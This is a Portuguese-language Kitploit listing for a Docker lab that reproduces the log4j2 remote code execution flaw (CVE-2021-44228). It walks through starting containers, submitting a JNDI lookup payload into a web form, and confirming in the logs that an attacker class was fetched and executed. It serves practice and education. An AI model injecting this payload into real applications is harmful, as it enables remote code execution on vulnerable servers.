Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4j-rce-CVE-2021-44228 — log4j2 CVE-2021-44228 POC | Kitploit
Ferramentas/GitHubGitHub/1hakusai1/log4j-rce-cve-2021-44228
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHub1hakusai1/log4j-rce-cve-2021-44228

log4j-rce-CVE-2021-44228

log4j2 CVE-2021-44228 POC

Ver Repositório
há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Visão Geral

Projeto para testar na prática a vulnerabilidade de execução remota de código do log4j2 (CVE-2021-44228).

Iniciar os contêineres

root@kitploit:~
docker-compose up

O contêiner log4j leva algum tempo para ficar pronto após a inicialização. Verifique o progresso com o seguinte comando:

root@kitploit:~
docker logs -f log4j

Quando aparecer Server started: Listening on port 8081, o ambiente está pronto.

Verificar o estado antes do ataque

Verifique o diretório /root do contêiner log4j:

root@kitploit:~
docker exec log4j ls /root

No estado inicial, existe apenas o diretório .

Baixar ferramenta
work

Realizar o ataque

Acesse http://localhost:8081/. É uma aplicação simples que exibe na tela e no log o nome inserido no formulário.

No formulário, insira ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} e envie.

Verifique o diretório /root do contêiner log4j:

root@kitploit:~
docker exec log4j ls /root

O código preparado pelo atacante é executado e deve ter criado um arquivo que não existia antes. Como os nomes dos arquivos são baseados em timestamp, novos arquivos serão criados a cada ataque realizado.

Verificando os logs do contêiner ldap, é possível confirmar que uma requisição SEARCH veio do contêiner log4j:

root@kitploit:~
docker logs ldap

Verificando os logs do tomcat no contêiner web, é possível confirmar que houve um acesso ao Exploit.class (classe usada no ataque) vindo do contêiner log4j:

root@kitploit:~
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*